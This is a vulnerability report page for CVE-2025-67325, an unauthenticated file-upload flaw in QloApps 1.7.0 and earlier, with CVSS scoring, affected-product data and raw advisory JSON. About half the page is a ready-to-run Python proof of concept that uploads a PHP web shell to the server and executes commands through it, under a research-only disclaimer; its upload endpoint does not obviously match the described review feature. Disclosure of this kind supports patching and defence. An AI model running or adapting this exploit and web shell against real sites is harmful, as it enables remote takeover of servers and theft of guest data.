Security Vulnerability Report
中文
CVE-2025-67325 CVSS 9.8 CRITICAL

CVE-2025-67325

Published: 2026-01-08 19:15:57
Last Modified: 2026-01-30 01:06:57

Description

Unrestricted file upload in the hotel review feature in QloApps versions 1.7.0 and earlier allows remote unauthenticated attackers to achieve remote code execution.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:webkul:qloapps:*:*:*:*:*:*:*:* - VULNERABLE
QloApps <= 1.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-67325 PoC - QloApps Unrestricted File Upload RCE Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import re # Malicious PHP payload for RCE PHP_PAYLOAD = "<?php system($_GET['cmd']); ?>" def exploit(target_url, hotel_id='1'): """ Exploit the unrestricted file upload vulnerability in QloApps Args: target_url: Base URL of the vulnerable QloApps instance hotel_id: Hotel ID for the review feature """ upload_url = f"{target_url}/modules/blockmysales/ajax.php" # Prepare the malicious file files = { 'myfile': ('shell.php', PHP_PAYLOAD, 'application/x-php') } data = { 'action': 'upload', 'id_hotel': hotel_id } try: print(f"[*] Uploading malicious file to {upload_url}...") response = requests.post(upload_url, files=files, data=data, timeout=30) # Extract uploaded file path from response path_match = re.search(r'upload\\/([a-zA-Z0-9_]+\\.php)', response.text) if path_match: uploaded_file = path_match.group(1) shell_url = f"{target_url}/upload/{uploaded_file}" print(f"[+] File uploaded successfully!") print(f"[+] Shell URL: {shell_url}") print(f"[*] Testing RCE with command 'id'...") # Test RCE test_url = f"{shell_url}?cmd=id" rce_response = requests.get(test_url, timeout=30) if rce_response.status_code == 200: print(f"[+] RCE SUCCESSFUL!") print(f"[+] Command output: {rce_response.text}") return shell_url else: print(f"[-] Upload may have failed. Response: {response.text[:500]}") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url> [hotel_id]") print(f"Example: {sys.argv[0]} http://vulnerable-site.com 1") sys.exit(1) target = sys.argv[1].rstrip('/') hotel = sys.argv[2] if len(sys.argv) > 2 else '1' exploit(target, hotel)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67325", "sourceIdentifier": "[email protected]", "published": "2026-01-08T19:15:57.340", "lastModified": "2026-01-30T01:06:56.767", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unrestricted file upload in the hotel review feature in QloApps versions 1.7.0 and earlier allows remote unauthenticated attackers to achieve remote code execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:webkul:qloapps:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.7.0", "matchCriteriaId": "1CB8D077-BB68-4F85-80A5-8E065D3D5042"}]}]}], "references": [{"url": "https://github.com/Qloapps/QloApps", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/mr7s3d0/CVE-2025-67325", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}